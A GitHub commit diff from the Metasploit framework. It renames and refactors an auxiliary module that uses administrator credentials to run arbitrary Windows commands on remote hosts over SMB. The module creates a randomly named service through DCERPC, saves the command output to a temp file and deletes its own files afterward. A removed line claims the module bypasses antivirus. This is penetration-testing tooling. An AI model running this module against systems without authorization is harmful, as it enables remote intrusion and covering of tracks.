Skip to content

Commit e7c80b9

Browse files
committed
Merge pull request #1 from jvazquez-r7/psexec_command
Psexec command Clenaup. Works for me, good to go!
2 parents e16cea6 + f7fb8bb commit e7c80b9

File tree

1 file changed

+21
-43
lines changed

1 file changed

+21
-43
lines changed

modules/auxiliary/admin/smb/command.rb renamed to modules/auxiliary/admin/smb/psexec_command.rb

Lines changed: 21 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -18,13 +18,13 @@ class Metasploit3 < Msf::Auxiliary
1818

1919
def initialize(info = {})
2020
super(update_info(info,
21-
'Name' => 'SMB - Execute Windows Command',
22-
'Description' => %q{This module executes a *single* windows command on one or more hosts
23-
by authenticating over SMB and passing a dcerpc request. Daisy chaining commands wiht '&'
24-
does not work and you shouldn't try it. It steals code from the psexec
25-
module so thanks very much to the author/s of that great tool. This module is useful
26-
because it does not need to upload any binaries to the target machine and therefore
27-
should bypass most if not all Antivirus solutions
21+
'Name' => 'Microsoft Windows Authenticated Command Execution',
22+
'Description' => %q{
23+
This module uses a valid administrator username and password to execute an
24+
arbitrary command on one or more hosts, using a similar technique than the "psexec"
25+
utility provided by SysInternals. Daisy chaining commands wiht '&' does not work
26+
and users shouldn't try it. This module is useful because it doesn't need to upload
27+
any binaries to the target machine.
2828
},
2929

3030
'Author' => [
@@ -33,7 +33,11 @@ module so thanks very much to the author/s of that great tool. This module is u
3333

3434
'License' => MSF_LICENSE,
3535
'References' => [
36+
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
37+
[ 'OSVDB', '3106'],
38+
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
3639
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
40+
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
3741
],
3842
))
3943

@@ -46,8 +50,6 @@ module so thanks very much to the author/s of that great tool. This module is u
4650
deregister_options('RHOST')
4751
end
4852

49-
50-
5153
# This is the main controle method
5254
def run_host(ip)
5355
text = "\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
@@ -62,33 +64,28 @@ def run_host(ip)
6264
print_error("Unable to authenticate with given credentials: #{autherror}")
6365
return
6466
end
65-
if execute_command(smbshare, ip, text, bat)
67+
if execute_command(ip, text, bat)
6668
o = get_output(smbshare, ip, text)
6769
end
6870
cleanup_after(smbshare, ip, text, bat)
6971
disconnect
7072
end
7173
end
7274

73-
74-
7575
# Executes specified Windows Command
76-
def execute_command(smbshare, ip, text, bat)
76+
def execute_command(ip, text, bat)
7777
begin
7878
#Try and execute the provided command
7979
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
80-
simple.connect(smbshare)
8180
print_status("Executing your command on host: #{ip}")
82-
psexec(smbshare, execute)
81+
psexec(execute)
8382
return true
8483
rescue StandardError => exec_command_cerror
8584
print_error("#{ip} - Unable to execute specified command: #{exec_command_error}")
8685
return false
8786
end
8887
end
8988

90-
91-
9289
# Retrive output from command
9390
def get_output(smbshare, ip, file)
9491
begin
@@ -109,16 +106,13 @@ def get_output(smbshare, ip, file)
109106
end
110107
end
111108

112-
113-
114109
# This is the cleanup method, removes .txt and .bat file/s created during execution-
115110
def cleanup_after(smbshare, ip, text, bat)
116111
begin
117112
# Try and do cleanup command
118113
cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}"
119-
simple.connect(smbshare)
120114
print_status("Executing cleanup on host: #{ip}")
121-
psexec(smbshare, cleanup)
115+
psexec(cleanup)
122116
if !check_cleanup(smbshare, ip, text)
123117
print_error("#{ip} - Unable to cleanup. Need to manually remove #{text} and #{bat} from the target.")
124118
else
@@ -130,8 +124,6 @@ def cleanup_after(smbshare, ip, text, bat)
130124
end
131125
end
132126

133-
134-
135127
def check_cleanup(smbshare, ip, text)
136128
simple.connect("\\\\#{ip}\\#{smbshare}")
137129
begin
@@ -148,13 +140,9 @@ def check_cleanup(smbshare, ip, text)
148140
end
149141
end
150142

151-
152-
153143
# This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!!
154-
# Instead of uploading and runing a binary. This method runs a single windows command fed into the #{command} paramater
155-
def psexec(smbshare, command)
156-
servicename = "servicename"
157-
simple.disconnect(smbshare)
144+
# Instead of uploading and runing a binary. This method runs a single windows command fed into the COMMAND paramater
145+
def psexec(command)
158146

159147
simple.connect("IPC$")
160148

@@ -179,7 +167,7 @@ def psexec(smbshare, command)
179167
return
180168
end
181169

182-
#displayname = "displayname"
170+
servicename = Rex::Text.rand_text_alpha(11)
183171
displayname = Rex::Text.rand_text_alpha(16)
184172
holdhandle = scm_handle
185173
svc_handle = nil
@@ -203,7 +191,7 @@ def psexec(smbshare, command)
203191
NDR.long(0) + # Password
204192
NDR.long(0) # Password
205193
begin
206-
vprint_status("Attempting to execute #{command}")
194+
vprint_status("Creating the service...")
207195
response = dcerpc.call(0x0c, stubdata)
208196
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
209197
svc_handle = dcerpc.last_response.stub_data[0,20]
@@ -252,8 +240,7 @@ def psexec(smbshare, command)
252240

253241
vprint_status("Removing the service...")
254242
stubdata =
255-
svc_handle +
256-
NDR.wstring("%WINDIR%\\Temp\\msfcommandoutput.txt")
243+
svc_handle
257244
begin
258245
response = dcerpc.call(0x02, stubdata)
259246
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
@@ -269,17 +256,8 @@ def psexec(smbshare, command)
269256
print_error("Error: #{e}")
270257
end
271258

272-
begin
273-
#print_status("Deleting \\#{filename}...")
274-
select(nil, nil, nil, 1.0)
275-
#This is not really useful but will prevent double \\ on the wire :)
276-
simple.connect(smbshare)
277-
simple.delete("%WINDIR%\\Temp\\msfcommandoutput.txt")
278-
rescue StandardError => psexec_cleanup_error
279-
print_error("Error occured cleaning up the service. #{psexec_cleanup_error}")
280-
end
259+
select(nil, nil, nil, 1.0)
281260
simple.disconnect("IPC$")
282-
simple.disconnect(smbshare)
283261
end
284262

285263
end

0 commit comments

Comments
 (0)